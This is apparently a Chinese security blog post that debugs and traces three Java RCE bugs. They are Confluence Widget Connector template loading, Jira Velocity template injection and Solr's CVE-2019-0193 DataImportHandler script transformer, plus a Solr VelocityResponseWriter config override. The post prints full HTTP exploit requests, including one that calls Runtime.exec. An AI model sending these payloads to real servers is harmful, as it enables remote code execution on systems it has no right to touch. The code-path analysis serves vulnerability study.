Confluence & Jira & Solr 漏洞调试

都最近爆的,攒着三个一起来233

Confluence

环境搭建

官网下源码

1
https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-6.9.0.zip

idea打开,要改一下confluence/WEB-INF/classes/confluence-init.properties中confluence.home为confluence目录

把WEB-INF目录下的lib,atlassian-bundled-plugins和atlassian-bundled-plugins添加到Library,
catalina里加上-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
然后./bin/startup.sh就行

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 10.70.169.228:8090
Content-Length: 170
Cache-Control: max-age=0
Origin: http://10.70.169.228:8090
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3941.4 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.70.169.228:8090/index.action
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=4C28989776C104111A0BD4775E546BCF
Connection: close

{"contentId":"0","macro":{"name":"widget","body":"","params":{"url":"http://localhost/www.dailymotion.com/","width":"300","height":"200","_template":"./../web.xml"}}}

大概就是Widgetconnector这个插件中,_template被直接传进去了。然后导致了加载任意模板。但7.0.3应该是修了,所以这里可以看到,params里并没有_template

跟了下,这边直接在WidgetMacro里remove掉了_template

再换个低版本。。

低版本代码与源代码不匹配,不调了

大概看别人文章就是在找template的时候,调用了ClasspathResourceLoader这个类加载器,然后后边低版本用了webappclassloader,然后貌似里边用的是urlpathclassloader,找不到模板直接new一个URL类,然后就能加载远程文件了。

https://paper.seebug.org/884/

Jira

环境搭建

不说了 一样

调试

这个洞的精髓我感觉在
this.getTemplatingEngine().render(this.subjectTemplate).applying(contextParams).asPlainText();

这个过程中前面是为了获取模板解析引擎(VelocityTemplatingEngine),并传入主题模板(this.subjectTemplate为payload数据), 通过applying()方法创建VelocityContext对象并把payload赋值给成员变量source。

asPlainText()的作用是通过Velocity模板引擎解析模板,其中的调用链是
toWriterImpl()->writeEncodedBodyForContent()->evaluate()

然后evaluate根据传入的payload构造ast啥的执行,后边看不懂不看了。这边挺6的,能挖到这种velocity模版注入也是挺秀的。

其实velocity只要render可控都能rce,参考solr的ssti洞

solr

首先环境搭建

java “-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=9000” -Dsolr.solr.home=”../example/example-DIH/solr/“ -jar start.jar –module=http

然后idea加远程调试9000端口,dist、server/lib文件夹加到library里。dist是solr的主要jar

CVE-2019-0193

首先看exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /solr/tika/dataimport HTTP/1.1
Host: 10.27.52.42:8983
Content-Length: 416
Content-type: application/x-www-form-urlencoded
Connection: close

command=full-import&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[ java.lang.Runtime.getRuntime().exec("open -a Calculator");
]]></script>
<document>
<entity name="a"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:" />
</document>
</dataConfig>

solr的admin后台文件是server/solr-webapp, 所以首先还是得看web.xml,看大概的一些filter、url-pattern路由才能知道后台怎么过去的。

请求都走了SolrRequestFilter这个过滤器,对应着org.apache.solr.servlet.SolrDispatchFilter,进去看一下

看了doFilter方法,主要就是通过getHttpSolrCall返回一个HttpSolrCall对象,然后调用call方法到了servlet类中,然后handler.handleRequest(req, rsp);进到了handleRequest中对请求响应进行处理。

在handleRequest中,this.handleRequestBody(req, rsp);调用了抽象方法来对请求处理,看一下哪些类实现了这个抽象方法。

有点多,这些都是可以通过路由直接请求到的类。这里不仔细看了。

exp是请求/solr/tika/dataimport,所以直接进入exp中的dataimport类。

一开始通过loadDataConfig,其中调用了readFromXml方法,从xml数据中读取信息并解析,根据解析出的document,script,function,dataSource等标签构建出DIHConfiguration对象并返回。然后根据传的参数,没debug,进了这里。

里边只是在新线程中进了runCmd中,还是进了runCmd。根据我们传的full-import,进了这里。在doFullImport中,首先会创建一个DocBuilder对象,DocBuilder的主要功能是从给定配置中创建Solr文档,同时会记录一些状态信息。随后通过execute()方法会通过遍历Entity的所有元素来解析config结构,最终得到是一个EntityProcessorWrapper对象。

下面是通过docBuilder.execute()进入doFullDump然后进入buildDocument方法。可以看到,execute中传入的生成的builder对象的config属性是之前根据我们传入的payload生成的DIHConfiguration对象。buildDocument()方法会为发送的配置数据的每一个processor做解析,当发送的entity中含有Transformers转换器时,会进行相应的转换操作。问题出在ScriptTransformer。script转换器能够对把其他java支持的语言转成java函数执行。而内容我们可控,这就很尴尬了。
引用A-Team大佬的描述:

1
脚本转换器允许使用Java支持的语言(比如Javascript, JRuby, Jython, Groovy, or BeanShell)编写任意转换函数,其中Javascript语言已默认集成在Java中了,使用其他语言的话需要自己整合。每个转换函数都 必须接收一个row变量(与Java中的Map<String,Object>类型对应,所以是支持get、put、remove等操作的),函数的功能是修改已知field的值,或者添加新的fields。处理完之后,将row对象作为返回值返回。这个脚本会以最高级别插入到DIH配置文件中,每个row会调用一次。

跟buildDocument(), 下面通过epw.nextRow();进入到了applyTransformer,这里就是问题触发点。

首先是loadTransformers,进入加载转换器。下边startwith判断,如果转换器以script开头,则把ScriptTransformer加到transformers里。

加载转换器后,通过transformers.iterator();遍历所有转换器。跟进t.transformRow,然后就很清晰了。通过initEngine初始化转换引擎,进去看一下,通过eval完成了js函数定义。出来后通过invokeFunction完成了rce

最后说一下,payload中document这部分

1
2
3
4
5
6
7
<document>
<entity name="a"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:" />
</document>

这里就是buildDocument中,需要对传入的实体进行解析,根据我们传入的datasource类型加载对应的datasource。这里主要的作用还是构建我们的script转换器,并且让exp不报错。如果传一个不存在的datasource会报错无法执行exp。solr一共有6中datasource,这里用URLDatasource主要是很方便。网上除了看到URLDataSource外还看到了JdbsDataSource的payload,可以直接ldap+jndi

看下新的这个洞

两次请求,第一个是覆盖了config然后才能velocity模板注入。这里确实牛逼,膜

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /solr/db/config HTTP/1.1
Host: 10.91.251.235:8983
Content-Length: 261
Content-type: application/json
Connection: close

{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}

首先第一个包,他是config进来的。和之前一样,看下configHandler的handleRequestBody

进到command.handlePOST里,继续跟handleCommands, 里边SolrResourceLoader.persistConfLocally,进去看一下

可以看到,直接把我们要覆盖的配置写入configoverlay.json中。这里第一次请求需要做的事情就完成了。

下面看第二次请求。

第二次理论上应该是把configoverlay.json中的配置读出来,然后写到VelocityResponceWriter的配置中,但我跟了几遍代码,都没有找到读文件配置的部分。。配置是true和false的区别就在初始化velocity对象时,对象的配置值不同。。这里应该是内存中的值,当文件中的值更改后,会进入init方法中重置该值(大概)。

继续往下跟,进入到在createInitInstance中,通过解析请求参数中的class,使createInstance方法创建一个VelocityResponceWriter对象,然后调用他的init方法。

跟进能看到prle和srle就是传入的要覆盖的属性。他们被覆盖到了VelocityResponceWriter对象的this.paramsResourceLoaderEnabled和this.solrResourceLoaderEnabled属性。

当到了createEngine的时候可以看到,paramsResourceLoaderEnabled是true时将params加到了loader里。接下来通过engine.getTemplate(templateName + “.vm”);就能够从url中获得传过去的exp。

然后返回继续到template.merge进入velocity中,然后继续跟一下会发现在render中通过ASTprocess解析注入的模板完成RCE

而当是false时,engine.getTemplate会报错找不到该vm,原因就是paramsResourceLoaderEnabled为false时,velocity并不会从url中获得velocity的模板字符串,从而无法进行模板注入。

solr中很多Handler类通过请求的url来调用,这里可以挖一下有没有其他的模板注入。

Proudly powered by Hexo and Theme by Hacker
© 2021 LFY